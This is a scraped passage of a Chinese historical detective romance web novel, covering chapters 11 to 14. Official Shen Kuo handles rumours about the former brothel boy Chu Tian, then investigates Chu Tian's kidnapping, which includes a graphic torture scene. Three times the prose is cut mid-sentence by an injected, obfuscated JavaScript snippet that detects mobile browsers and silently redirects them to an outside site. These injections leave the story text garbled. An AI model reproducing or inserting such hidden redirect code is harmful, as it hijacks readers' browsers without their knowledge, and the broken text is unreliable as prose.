承乾殿中，回荡着太子祁越震耳欲聋的笑声。 “青云啊，你为什么不告诉我一声，我要是知道你要金子是去黑市上用，我怎么着也不会将国库中的拿给你啊！” 沈阔的脸比炭还黑，“殿下你给我的时候也不跟我说一声是从国库里拿的。” 祁越捧着肚子笑得直不起腰，眼角还挂着两滴晶莹的泪花儿，“那我也没想到你是做这个用，我以为你跟我要钱是去弄春楼赎男倌儿的。” 沈阔：…… “殿下怎么知道我赎了个人回去？”沈阔难为情地摸了摸鼻子。 祁越总算是止住了笑，他一边擦着眼泪一边走到榻上坐下，端起榻几的茶盏吹散了热气，“还我怎么知道？我又不聋，就你那点儿风流韵事早就传遍了整个皇宫。” “风流韵事？” 沈阔疑惑，他觉得自己的行为怎么着也算得上是路见不平拔刀相助，被人传颂也应是一桩行侠仗义的美事，怎么就传成了风流事？ “跟我还装？”祁越抬头睨了沈阔一眼，“弄春楼那个小倌儿不是你买回去的？对了，我还听说你把他都带到公主府去了，我说沈青云你也太不够意思了，咱俩这么多年的生死之交，你寻着中意的人儿了，不先带给我看，反而去见了皇姐。” “皇姐那都乱花迷人眼了，她还能瞧出什么好来？” 祁越越说越离谱，把沈阔整得一愣一愣的。 “殿下你在说些什么？”沈阔惊讶道，“我带楚恬去公主府是去查案的，你消息这么灵通不会不知道公主府失窃一事吧？” 祁越假装咳嗽了一下，“事儿我自然知道，我早就让人给皇姐送了新的珠宝过去，比她丢失的那些贵重多了。——但你要说带那个楚，楚恬是吧？去查案，你当我傻吗？他一个倌人懂什么查案？” “殿下，楚恬他不是倌人，只是因生活所迫曾经流落于青楼罢了。”沈阔认真地解释道。 见沈阔这般认真，祁越也就敛了戏谑的神情，“你认真的！” “是。”沈阔回道，“楚恬在这方面有异于常人的天赋，培养他也是在为殿下培养有用之材。” 祁越抬眸瞧了沈阔好几眼，确信他是真心在为自己作考虑。 祁越点了点头，之后两人又细说起公主府失窃的闹剧，祁越挑起眉毛感叹道：“没想到我皇姐还有这般深情的一面，不过那宇文牧也太不识趣了，我皇姐才貌无双，哪点配不上他了？他还不愿意了。” “那皇姐心情如何？”祁越自问自答道，“不用说我也能猜到，皇姐定是伤心极了，哎，我得再挑点儿东西给她送过去，不，我得亲自去探望她一趟。” “殿下去的时候，顺便劝一劝公主，她这样长期耽于酒色之中，对身体很不好。”沈阔道。 闻言，祁越沉默了，他反问沈阔：“你怎么不劝？” 沈阔梗着脖子回：“是你姐又不是我姐。” 祁越不可置信地瞪大了眼睛，他放下茶盏跑到沈阔面前，指着沈阔鼻子骂道：“好你个没良心的，亏我姐待你那么好，你怎能说出如此丧良心的话！” 沈阔泄下气来，无奈道：“我实在是开不了这个口。” 祁越亦耷拉下了肩膀，“我也是。” 两人沉默半晌，最后心照不宣地决定刚刚那些话就当从来没有说过。 “殿下，现下虽是由你在监国，但国库里的东西，还是不要乱动了。”临走之前，沈阔不放心地叮嘱道。 “你把我当成什么了！”祁越愤怒地将手边的橘子丢向了沈阔，“那些金锭是父皇以前赏赐给我的。” “哦，那就好。”沈阔顺手将橘子剥来吃了，他尝着味道还不错，又上前拿了两个。 祁越被他的言行气得嘁笑出声，他朝沈阔骂了一声“滚”，可就在沈阔跨过承乾殿的门槛时，犹豫了须臾的祁越还是叫住了他。 “沈青云，什么时候把楚恬带进宫来，让我也瞧瞧。” 沈阔回头莫名其妙地看了祁越一眼，只当他又在揶揄自己，因而回道：“与你我一样，就是个长着一个鼻子两只眼的人，有什么好瞧的？” 说罢，沈阔背对着祁越挥了挥手，头也不回了离开了。 因此他也就没有看到，身后的祁越一脸落寞地站在原地，目不转睛地看着他的身影消失在宫门口。 祁越沉默了许久才重新回到榻上坐下，他倏地叹了口气，开始后悔长大了。 沈阔回到提刑司的时候，云儿刚刚摆好碗筷，看到他从门口进来，便唤了沈阔一声，“大人回的正是时候，快来用膳吧。” 沈阔的脚尖都转身了饭厅的方向，可当他看到门口静站着的楚恬时，忽地又想起了祁越嘲讽他的“风流韵事”。 “你先吃着，我还有事。” 明明是在与楚恬说话，可沈阔的目光却并在他的身上停留。 接着沈阔招来了云儿，将手中的橘子递给她让两人分了吃。 “大人这是怎么了？”云儿偏头朝沈阔离开的方向望去，“难道是挨太子殿下的骂了？” 楚恬摇了摇头，“大人与太子殿下私交甚笃，即便两人产生了争执，以大人的性格也不会放在心上。大人这般心事重重，只可能是一个原因......” 沈阔不是一个承受不住压力的人，即使案情再棘手，他的心始终是稳的，更不会轻易将情绪浮于表面。而从他刚才的应过来看，他有事是假，刻意避着楚恬才是真。 “小楚你真厉害，我要是能像你一样聪明就好了。”云儿夸道。 楚恬回以微笑，但他实在是笑不出来，所以面上的表情简直比哭还难看。他独自默默地吃完了饭后，便去厨房从锅里端了热菜送到沈阔书房。 楚恬叩响了门，沈阔下意识地抬头看了他一眼，又低下头淡声应道：“我还不饿，端回去吧。” 楚恬默了一瞬，随即鼓起勇气走进了书房。 听到脚步声靠近后，沈阔再次抬起头，疑惑地看着楚恬。 楚恬将饭食放在桌上，转身走近沈阔，劝道：“大人先用膳吧。” 沈阔没应。 楚恬看着佯装看书的沈阔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14852968|159299||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，突然问道：“大人不高兴，可是因为我？” 沈阔的手一滞，他抬头看着楚恬，对方惊怯的模样实是让他无法狠下心来。 “我没有不高兴。”沈阔道。 “也不是因为你。”沈阔的补充更加有种此地无银三百两的感觉。 楚恬自然不信，他又道：“可是因为我的身份让太子殿下蒙羞了？” “不是，你别胡思乱想。”沈阔莫名地有些烦躁。 沈阔这些苍白且无力的解释根本说服不了楚恬，反倒让楚恬确信是自己的存在给沈阔造成了困扰。 “我先回房了，大人赶紧吃饭吧，免得饭菜凉了。”楚恬说完便离开了书房。 沈阔愈发地烦闷起来，他不耐烦地将书掷在桌面上。 沈阔心里明白这其实并不关楚恬的事，毕竟他也是谣言中的受害者。可沈阔又实在想不出妥善的处理办法，第一反应就是或许避着点儿，那些空穴来风的传言便自然而然地消失了。 但他没考虑到楚恬是个敏感又自卑的人，凡事他都要先从自己身上找问题，而沈阔刚才的举止，无疑再次让楚恬觉得问题的根源在他自己身上，所以他才会说出那样一番话来。 可当沈阔反应过来的时候，已经迟了，他想解释，可又不知该如何开口。 大庆国民风还算是开化，断袖之癖不仅算不上可耻之事，甚至一度蔚然成风。而令沈阔烦闷的不是被人说成是断袖，更不是因为楚恬的身份上得台面。 他纯粹只是因为被造谣而不高兴，偏偏别人还一直拿这事儿来嘲笑他。 沈阔怏怏地吃完了饭，思考了一下午后，他终于下定决心不再理会那些谣言。从书房出来时，他正巧碰到了从外面回来的楚恬，沈阔微笑着正欲上前打招呼时，却见楚恬避之不及地绕道走了。 笑容僵在了沈阔的脸上，抬起的手也凝在半空。 怔了一会儿，沈阔转身跟了上去，但楚恬却丝毫不给沈阔开口的机会，嘭地一声关上了房门。 “楚恬，今日上午是我的不对，我向你道歉。”沈阔一边敲门一边细声说道。 门扉上映出了巨大的黑影，楚恬缓声开口道：“我没有怪大人，大人也不必跟我道歉。” “真的？”沈阔问。 “嗯。”楚恬轻轻应了一声。 沈阔松了一口气，“那你出来，我们一起去吃晚饭。” 里面的人沉默了下来，须臾后楚恬才道：“我刚在外面吃过了。” “吃过了？”沈阔疑惑，“在哪儿吃的？” “弄春楼，我在那儿与红姐和平安一起吃的。” 见沈阔没有应声，楚恬又道：“我之前与你说过的，想回去看看红姐和平安。” “哦。” “大人我有些累了，想休息了。” 沈阔顿了顿，回道：“行，那你休息。” 沈阔走下台阶，又回头朝屋子看了一眼，那硕大的黑影慢慢缩小，是楚恬折回了床前，接着屋中的烛火突地熄灭了。 沈阔不由自主地叹了一声，转身离开了。 12. 第 12 章 接下来的几天一切好似恢复如常，但沈阔察觉得出两人之间又有些不一样了。 比如楚恬在他面前表现得更加小心翼翼，举手投足间完全将自己代入了下人的心态，与他初来时一样。 沈阔提醒他不必那般卑微，楚恬嘴上倒是应了，但仍旧没有改变，气得沈阔也就懒得说了。 随便他，爱怎样怎样！ 时光晃荡，转眼间便到了八月半，沈阔提前回了太师府，中秋节当天，提刑司的人走了个七七八八，除了下人，就只剩下几个值卫。 下人中，陈伯等人向来不喜与楚恬为伍，今夜众人围桌煮了古董羹，临吃饭时，云儿才发现唯独缺了楚恬。 “我今天就没有看到过他，他每日寸步不离地跟着大人，许是跟着大人一同回了太师府。”刘天道。 “不可能。大人昨日走的时候，小楚明明都还在屋中。” “云儿你别管他了。”对云儿有意的王辉往云儿碗里夹了块肉，“人家每日跟着主子吃香喝辣的，兴许还瞧不上咱这一锅大杂烩呢。” 云儿从他们的话语中听出了端倪，她问众人：“你们是不是压根儿就没喊过小楚？” 众人面色各异，开始七嘴八舌地狡辩起来。 “我们都以为他跟着大人去太师府了。” “对啊，况且他平日里连话都不愿跟我们说，即便我们叫了他，他也不一定来。” “是他不想吗？分明是你们心存偏见，不愿理他。”云儿替楚恬辩解道。 “云儿，你怎么能这样说我们呢？”刘天不乐意了，“的确，我们不想跟他接触，原因你也知道。他从小在青楼长大，在那些脏东西的耳濡目染之下，能结出什么好果子来？” “云儿，你就是被他的表相给迷惑了。”王辉苦口婆心地劝道，“你看他才来几天啊，就能上主子的桌了，我想过不了多久，他就能爬上主子的床。” “整天装得一副软软糯糯的可怜样，一股子的狐狸劲儿。”刘天嗤之以鼻。 “呵，这才过了几天安稳日子啊，就忘了以前是何等卑贱的讨生活了吗，忘了别人是如何嫌弃我们的吗？”云儿丝毫不给他们面子，“大人都没有说什么，你们竟然还嫌弃起小楚来了，不知道的，还以为你们才是这里的主子呢！” “你！”刘天满脸通红，应是云儿的话戳到了他的痛处，气急败坏之下，他竟然想动手打云儿。 “哎天哥，天哥！”王辉赶紧上前搂住了刘天，“你跟个丫头片子计较什么啊！” “云儿，赶紧给天哥道歉！”王辉朝云儿挤着眼睛。 云儿的倔脾气也上来了，说什么也不肯向刘天道歉，“我说错什么了吗？凭什么给他道歉？” “我给你脸了是吧！”刘天说着便已抄起了桌上的酒坛，其余人吓得后退了几步。 “够了！你们想干什么！”陈伯终于发话，“想被赶出去么！” 刘天这才冷静了下来，他将酒坛放回桌上，默不作声地盯着云儿。 “出门在外，我们就是亲人，要互相照应才是。”王辉劝了刘天又开始劝云儿，“云儿你的胳膊可不能向外拐啊。” “行了，坐下吃饭！”陈伯拿起筷子重重地在桌面上杵了一下。 云儿不敢拂陈伯的面子，但她又实在是不想与这些人同桌而食，于是借口道：“你们先吃吧，我还不饿——” “不饿就滚出去！”陈伯吼了一声。 云儿一怔，随即转身跑了出去，王辉见状想要去追，却被刘天揶揄了一番。 “你说你成天跟在她屁股后面转，又讨着什么好了？人家领你的情吗？” “坐下吃饭！”陈伯再次敲了敲桌子。 王辉只得折回来乖乖坐下，为免大家因这事儿生出嫌隙，他给陈伯和刘天斟满了酒，傻笑着赔起了罪，“陈伯，天哥，云儿她年纪小，心思又单纯，难免会被他人蛊惑，您二位大人有大量，别她一般见识。” “也就是看在你的面子上，否则我非得好好教训她一顿不可。”刘天一口将杯中酒饮尽。 陈伯轻轻抿了一口酒，对王辉道：“我们都已相识了这么多年了，相互依靠，不是亲人却胜似亲人，哪能真的生云丫头的气。但是王辉啊，你抽空好好劝劝云儿，少跟楚恬来往，倒不是说瞧不起他，只是孤男寡女的两个人长期待在一起，总归是要惹人说闲话的。” “哼，瞧着吧，那小子手段可高明着呢。”刘天还在一旁添油加醋，“我瞧着云儿待他比待你都好，别把煮熟的鸭子给弄飞了。” 王辉傻笑着了连连应是。 “赶紧坐下吃吧。”陈伯道，“菜都糊锅里了。” “好好的一天，都让那姓楚的搅和了。”刘天余气未消。 “管好你那张嘴，小心哪天祸从口出。”陈伯瞪了刘天一眼，后者立刻就噤了声。 一会儿后，下房中的气氛恢复如常，大家又开始了说笑，好像刚才的一切都不曾发生过。 而跑出去的云儿在提刑司找了好几遍都没有找到楚恬，云儿不禁疑惑：难道他的随大人一起回太师府了？ 转念一想，这是绝无可能的事。 沈家世代簪缨，现任家主沈长风，也就是沈阔的祖父官拜太师，其独子沈煜亦为当朝礼部尚书，书香门第之家，最看重的便是脸面，又怎么可能允许沈阔带一个背着男娼臭名的人回家呢。 排除了这个可能之后，云儿更加忧心忡忡，万一他跑到集市上遇着坏人了可怎么办？ 想到这里，云儿的左眼皮忽然止不住地跳了起来，她按着眼皮连啐了三声“呸呸呸”。 云儿独自守在司衙门口，一直等到了半夜，仍不见楚恬归来，她急得在门口团团转，正巧被来寻她的王辉看见。 “云儿，你这是怎么了？”王辉上前询问。 云儿这才将楚恬未归一事说给了王辉听，王辉心里虽然有些不悦，但看见云儿着急的模样，他还是耐心宽慰道：“云儿你别着急，今天不是中秋节么，许是楚恬出去会友了。” “他那么大个人了，也走不丢，至于你所说的遇着坏人，就更无可能了，谁没事去绑一个男人啊。”王辉道，“倒是你，这大半夜的，可千万别跑出去啊，太危险了。” 云儿探头张望着外面的巷道，黑黢黢的一片，瘆人得紧。 “先回去睡吧，等你明儿个一早起来时，兴许楚恬就已经回来了。”王辉劝道。 云儿叹了口气，无奈点了点头。 或许楚恬真的只是去见朋友了，她隐约记得楚恬前两天有跟她提到过。 谁曾想，王辉竟一语成谶。 第二天一早，王辉正打扫院落时，一支箭矢嗖地一声从外面射进来，堪堪定在了王辉身侧的柱子上，吓得王辉瞬间丢了魂儿。 “发生什么事了？”听到动静的衙役朝这边跑来，他们将目光从瑟瑟发抖的王辉身上挪到了柱子上的信封。 其中一人上前拔出箭矢，取下信封，展开看了一眼后，脸上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14852969|159299||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 顿时变了色。 “快去禀报大人，楚恬被绑架了！” 很快，楚恬被绑架一事就传遍了提刑司，正应了那句有人欢喜有人愁，刘天等人在暗自庆幸时，唯有云儿一人因担忧楚恬的安危而痛哭流涕。 两刻钟后，沈阔从太师府赶了过来，柳青紧随其后。 “谁能把事情经过跟我叙述一遍？”沈阔的目光扫过众人。 陈伯等人纷纷摇头表示不知，沈阔只能将希望放在云儿身上。 云儿泪眼婆娑地看着沈阔，虽然话语有些颠倒，但不妨碍理解，末了她无比自责地对沈阔道：“都怪奴婢，要是昨夜出去找小楚的话，说不定他就不会遇到这档子事了。” “现在不是说这些的时候。”沈阔镇定自若，“对方既是为了钱，想必一时半会儿不会对楚恬下杀手，当务之急，是要赶紧查到楚恬昨日的去向，再顺藤摸瓜将他给救出来。” “可我们对楚恬一点儿也不了解啊。”柳青犯了难，“他在弄春楼待了五年之久，谁知道得罪过哪些人啊。” “楚恬与弄春楼的红儿和平安私交甚好。”沈阔道，“去问问他们两个不就知道了。” “那信中绑匪要求的一百两金......”柳青看向沈阔。 “呵！”沈阔轻笑一声，“他是高看了楚恬还是高看了本官？这么荒谬的要求都敢提！” 沈阔的言外之意，众人皆听得明明白白，柳青和云儿虽然忧心楚恬性命，可对方要的赎金太高了，即便是沈家也不一定能拿得出来。 二人不敢多说，只能在心底暗自为楚恬祈祷。 “那属下先去弄春楼探探情况。”柳青道。 沈阔点了点头，之后他与柳青同时离开了提刑司，但去的方向却截然相反。 “多少！” 好不容易熬到中秋休沐，祁越还想睡个懒觉来着，不曾想先是被太子少保强行薅起来写了一早上的治国策论，现在又被沈阔的狮子大开口惊得站了起来。 “一百两黄金而已。”沈阔道，“这么点儿钱太子还是能拿出来的。” 祁越气得饭都不想吃了，“而已？真是不当家不知柴米油盐贵啊，你知道一百两黄金是你多少年的俸禄吗？” 沈阔没心思算，“殿下，我没时间跟你耍嘴皮子，救人要紧，你先从国库借我一些，我保证如数给你还回来。” “沈青云呐，之前谁跟我说不要随便动国库里的钱来着？怎么这么快就被打脸了？”祁越笑话他道。 “事急从权，我要是能拿出来，我还不来找殿下借了。”沈阔的脸皮简直比宫墙还厚。 “嚯！”祁越被气笑了，“敢情你来找我借钱，我还得感到荣幸才是？” “那倒不用。” 祁越白了沈阔一眼，最后还是让人取了一百两黄金过来。 “沈青云你给我记住，身为朝廷命官，尤其你还是掌刑狱的提刑官，可不能被罪犯裹挟了理智，这百两黄金你怎么拿走的，便要怎么给我还回来。” “殿下放心，我拿这些黄金只是为了转移他们的注意力，绝不会让殿下有所损失的。” 祁越顿了顿，忽然意味深长地说道：“青云，你知道的，我不是吝啬这些钱财。你是我的左膀右臂，我不能失去你，所以不想你被别的东西所影响。” “人也不行。” “我知道了。”沈阔沉默片刻后回道，“我不会让殿下失望。” 楚恬，绑匪和黄金他都会带回来。 13. 第 13 章 “你这个夯货！不是说好了只将人绑来出口恶气，你怎地又去招惹上了那黑面阎罗。” 弄春楼里，两个绑架犯发生了分歧，同为弄春楼东家之一的胡老六指着尤二娘就是一通好骂。 尤二娘理亏，她双手交叠垂在身前，眼睛直往旁边瞟，“这些年养这贱蹄子花了我不少的钱，我这不是想着回本儿嘛。” “钱钱钱！”胡老六指着尤二娘的鼻子，“我看你是掉进钱眼儿里去了！” “你还好意思说我，你不也一样么。”尤二娘不服气地嗫嚅着。 “我跟你一样？”胡老六气得吹胡子瞪眼，“我还没蠢到那个地步，我知道什么钱能要什么钱不能要！那沈阔的钱是咱们能肖想的吗，即便你有那个命要，也怕没那个命花！” 但木已成舟，此时说再多也是枉然。 胡老六叹了口气，“现在只能祈求沈阔不会为了一个娼人兴师动众，否则你就自求多福吧！” 听到这句，尤二娘紧绷的心反而放松了下来，“一个娼人罢人，死就死了，没人会在意的。” 胡老六却不这样想，“还真不一定，我听说姓沈的对这贱人宠爱有加，你看着吧，他绝对会找上门来的。” 尤二娘吓得缩起了脖子，结巴地问道：“那，那我们该怎么办？” “我们？”胡老六哼了一声，“明明是你自己捅出来的篓子，可别想着把我拖下水。” “你脖子上长的是屁股吗，赎金都要到朝廷命官头上去了，你是怎么敢的啊！”胡老六真想一巴掌拍死尤二娘。 “我......”尤二娘更是后悔不迭，她当时也是被气昏了头，才做出了这等糊涂事。 “现在无论如何也不能让人知道人在我们这里。”胡老六小眼睛滴溜溜地转着，馊主意一茬接着一茬地冒了出来，“等个个把月，风头过去了，再悄悄把他做掉丢到乱葬岗喂狼，连骨头渣都不剩，自然也就没人来找我们的麻烦了。” “这样，可行吗？”尤二娘颤巍巍地问道。 “你有其它办法？” “没有。”尤二娘将头甩得像拨浪鼓。 “这件事知道的人越少越好。”胡老六背着手来回走了两圈，“还有，那个往提刑司送信的人可靠吗？可别经不起吓唬把我们俩给供出来了。” “六哥尽管放一万个心！”尤二娘信誓旦旦地说道，“信是我亲侄儿去送的，他断不敢在外面胡说八道。” “那就好！切记，从此刻起便将此事给忘了，就当从没发生过。” “是，我记住了，六哥。” 尤二娘朝胡老六欠了欠身，胡老六恨铁不成钢地瞪着她，正欲开启第二轮怒骂时，身后传来了叩门声。 “谁！”胡老六厉声问道。 “是我，红儿。六爷，提刑司来人了！” “来的谁？”尤二娘噌地上前拉开了门，抻出头朝楼下瞄了一眼。 红儿道：“是柳青柳知事。” 尤二娘暗自松了口气，她回头看了眼胡老六，讨好地说道：“六哥，我胆子小，一紧张就会说错话，只有请你去应付一下了。” 胡老六横了尤二娘一眼，他不想去又如何，都是一条绳上的蚂蚱，尤二娘要是搞砸了，他也不能独善其身。 胡老六前脚刚走，尤二娘便将红儿拉进了屋里，她将刚刚与胡老六的对话悉数告知了红儿，并让红儿帮她拿个主意。 “这事儿吧还是得做两手准备，提刑司与别的司衙不同，沈阔可不是吃素的，要想瞒过他还真不是件易事。”红儿道。 “我怕的就是这个！”尤二娘焦躁不安地捶着手心，“而且我听胡老六的意思，一旦事情败露，他绝对会全部推到我身上，那我可就完了。” 红儿顿了一顿，她拉开门探了眼外面，随即又轻轻合上门扇，“二娘，您信我吗？” 尤二娘拉着红儿的手，轻轻地拍着她的手背，“红儿，在二娘心中，你与他们总归是不一样的，你是我亲自带大的，就跟我的亲女儿一样，我自然是信你的。” 红儿点了点头，“二娘信我的话，我有一法子可保二娘无虞。” “什么法子？快说来听听！”尤二娘迫不及待地递上了耳朵。 两人的耳语还没说完，便有小厮前来传话，“二娘，提刑司的人想单独与红姐谈谈。” “真让你猜着了！”尤二娘握着红儿的手一紧，“他们真的来找你了。” “二娘，你可想好了，女儿这一趟可是关乎性命的啊！”红儿用指腹轻轻磨着她的手背。 尤二娘沉默了小会儿，心下一横，道：“就照你说的办！” 红儿点了点头，接着便与小厮一同下了楼。 红儿邀柳青到厢房细谈，问清柳青来意后，便让人唤来了平安。 平安应是被人打过，眼底青黑，左半边颧骨肿得比核桃大，额头、右脸、脖子以及手腕处都有明显的淤痕。 他怯怯地看了红儿一眼，随即答道：“楚恬确实来找过我好几次，昨天他也来了，还给我带了馒头和烧鸡，但戌时未到他就回去了，至于之后发生了什么，我也不知道。” “你们与他相识这么久，想必对他很了解，可知他此前得罪过什么人？或是，有谁企图对他不轨？”柳青问。 平安再次看向了红儿，红儿回之以微笑，摸着他的后脑勺安抚他道：“别害怕，你知道什么便说什么。” 平安摇了摇头，“以前楚恬还在的时候，从不与陌生人攀谈，更别说与人结仇了，至于其它的，我知晓的并不多。” “行，我知道了，你先下去吧。”柳青看平安那惊惧的模样，怕是也问不出个所以然来。 屏去了平安，柳青正欲再追问些线索的时候，沈阔到了。 他一脚踢开了厢房的门，惊得里面的二人登时站起了身，见来人是沈阔，柳青按在腰间的手才放了下去。 “大人！” 柳青刚想禀报自己来此一无所获之时，却听沈阔对他道：“你先出去，本官要单独与红儿姑娘谈谈。” 柳青的目光在二人之间逡巡了片刻，随即退出了厢房，并顺手关上了门。 “沈大人请坐！”红儿执起茶壶为沈阔倒了杯热茶递到他的手中。 沈阔接过茶杯递到嘴边又 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14852970|159299||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 放下，“红儿姑娘就没什么想与本官说的吗？” 红儿端站在沈阔面前，装傻道：“奴家不明白大人的意思。” 沈阔哼笑一声，随即从腰间掏出了那封绑架信，他将信纸放在鼻尖前闻了闻，“触到信纸的第一刻，本官就觉得有些奇怪，在来弄春楼的路上，本官才终于想明白，这信纸上为何有一股胭脂香味了，而就在刚刚，本官已然知晓了胭脂味的来源。” 他抬眸盯着红儿，皮笑肉不笑地说道：“都说你很聪明，却在信纸上留下如此明显的破绽，显然是有意为之。” “你有意向本官透漏消息，却又在柳青询问你时装傻充楞，不就是想跟本官谈吗？”沈阔边说边整理着箭袖口子。 红儿低头一笑，“果然一切都瞒不过大人。” “楚恬在哪儿？”沈阔瞬间敛了神色，面若寒霜，见红儿不说话，他又换了个问题，“说吧，想与本官作何交易？” 心思被戳破的红儿也不再掩饰，她直言道：“换尤二娘活命的机会。” 沈阔眉梢一挑，很是意外，“本官以为将胡老六和尤二娘一网打尽才是你心中所愿。” 红儿也不拐弯抹角，她道：“胡老六买卖幼童，为了挣钱不择手段，罪该万死，尤二娘虽与其狼狈为奸，但她多是被胡老六牵着鼻子走，况且奴家还需要她这个靠山。” “你如何就断定本官一定会依你的话？”沈阔问她，“本官既已知晓幕后凶手，只需对胡老六严加审问也能得到楚恬的藏身之处，届时还可将涉案之人尽数缉拿归案，为何要与你做这个明显于本官有亏的交易？” 红儿早料到沈阔会这样说，因而她不急不躁地回应着沈阔的话，“大人许是不知道，那个绑走楚恬的人叫尤金，他喜欢奴家很久了，昨夜奴家邀他喝了杯酒，这才有机会接触到给您的那封信，而就在他送信回来之后，奴家便已让他将楚恬藏到了别处。” “沈大人尽管去查尤金的踪迹，相信以大人的能力，不出一日便可找到他。”不等沈阔开口，红儿便接着说道，“至于楚恬能否活到那一刻就另说了。” “你们对他做了什么？”沈阔眉头一拧，强忍着没有爆发。 红儿这才将楚恬被绑的前因后果告诉了沈阔。 前几日楚恬来弄春楼找平安的时候发现他满身是伤，追问之下得知尤二娘果然将楚恬被救一事怪在了平安身上，于是平安便遭到了尤二娘的毒打。 平安挨了打不说，尤二娘还下令禁止任何人给平安饭吃，因而他只得趁无人之际去后巷的泔水桶里面翻找残羹充饥，而这一幕恰巧被楚恬看见。 心中无比愧疚的楚恬只得每日从提刑司带些剩饭过来，但两人的密会最终还是被别的伙计发现并告到了胡老六面前，胡老六当即便差人将二人给捉了，楚恬为了平安，几番好言相求，可胡老六不为所动，激愤之下，便与胡老六起了口舌之争，气得胡老六当时就要动私刑，可又怕他向沈阔告状引来麻烦，便又放了他。 胡老六派人跟踪了楚恬两天，发现他都是独来独往后，才终于下定决心于昨夜在楚恬返回提刑司的路上神不知鬼不觉地绑走了他。 14. 第 14 章 “以为攀上了高官便可高枕无忧了，是吧？” 阴暗且潮湿的地牢中，楚恬被五花大绑着。音起鞭落，一道道血红的痕迹赫然出现在楚恬的身上。 “你也不瞧瞧自己是个什么德行，真以为那姓沈的是真心护你？不过是个肮脏又下贱的男娼罢了，你啊，就连给沈家下人提鞋都不配！” 说着，胡老六啐了楚恬一脸。 “人家只是一时兴起逗弄逗弄你，你却当真了！” “看来他是忘了自己的出身了！”尤二娘在一旁附和，“六哥，咱们可得好好地给他提个醒儿！” “以前为了让他接客，生怕在他这副皮囊上留下疤痕，可现在他对我们已然没有用了……”尤二娘明明在笑着，可却让人心生恐惧。 “你们，要做什么……” 楚恬缓缓抬头，目露惊色。 胡老六冷冷瞧了楚恬一眼，接着从袖中取出了一把匕首，他扔掉外鞘，将锋刃的刀尖抵在楚恬的喉结。 刀尖沿着楚恬的脸部轮廓慢慢划过，最后停在了他的左脸。 楚恬已然猜到了胡老六的意图，他的瞳孔骤然变大，“有本事你就杀了我！” “哟呵！都这时候了，还敢嘴硬！”胡老六瞬间兴奋了起来，“你当真以为我不敢？” 楚恬没有应声，只倔强地偏开了头。 “想死是吧？”胡老六绾起袖子，鼠目中迸射出阴鸷之色，“老子偏不让你如愿！” 胡老六先用匕首挑起楚恬的下颔，然后划过脖子，最后抵在他的左胸处。 胡老六的脸上慢慢浮现出阴狠的笑意，接着他的手轻轻一用力，刀尖便穿透衣裳没入了他的肌肤。 胡老六没有停下手中的动作，他龇着牙用刀尖在楚恬的胸口处用力剜了一下，然后隔着布料狠狠地在楚恬的胸口划了几刀。 刀尖过处，殷红的血液沿着也衣裳上的痕迹浸了出来。 楚恬咬紧牙关，却还是疼得喊出了声。 “哈哈哈！”胡老六退后一步，扔掉匕首，尽情地欣赏着自己的杰作。 尤二娘咧着嘴看完了全程，思考了小许，才发现楚恬刻在楚恬胸口处的是一个“娼”字。 胡老六的每一刀，以及每一次停顿，都深深刻进了楚恬的脑海，他又怎会不知对方在自己身上写下了什么。 “啊......”楚恬低声哭嚎着，若是以前他还算出淤泥而不染的话，那此刻的他，便是真正的脏了。 尤二娘看着身心备受折磨的楚恬，突然觉得之前所受的委屈都烟消云散了，她的心情也跟着舒畅了起来，紧随着胡老六，指着狼狈不堪的楚恬笑得前仰后合。 “二娘，信已送到。”红儿不知何时出现在了门口。 尤二娘刚要开口夸红儿，却听胡老六厉声质问道：“信，什么信？” 尤二娘面露窘色，犹豫再三后还是将自己的计谋告诉了胡老六。 胡老六气得差点儿背过气去，这才有了二人之后的争论和筹划。 “大人，楚恬的伤不算重，但若不及时止血的话，恐怕坚持不了几个时辰了。”红儿柔声道，“不过您愿意赌的话，奴家愿赌上性命陪您一局。” “你就不怕本官杀了你？”沈阔凝眸。 “怕，自然怕。”红儿道，“可奴家身陷泥沼之中，与死何异？但奴家若是赢了这一局，以后的日子就另当别论了。” “若你想离开这里，本官可以为你赎身——” “赎身？之后呢？”红儿打断了沈阔的话，“奴家自六岁那年被亲生父亲卖到这里后，已经整整二十年了，离开这里又能去哪儿？与人为奴，为妾吗？” 红儿笑了，“楚恬一个身世清白的男子步入世俗后都难免被人议论、嘲笑，奴家恐怕会被人丢烂菜叶吧，当然，这点委屈算不得什么，可是沈大人，奴家再不想过看人脸色和伺候人的卑贱日子了。” “看来，这一切都在你的谋算之中。”沈阔也笑了，“本官实在怀疑尤二娘送信一事怕也是你暗中撺掇的。” 红儿没有回答，算是默认。 沈阔饮了一口茶，起身道：“但仅凭绑架楚恬一事，还不足以给胡老六定下重罪。” 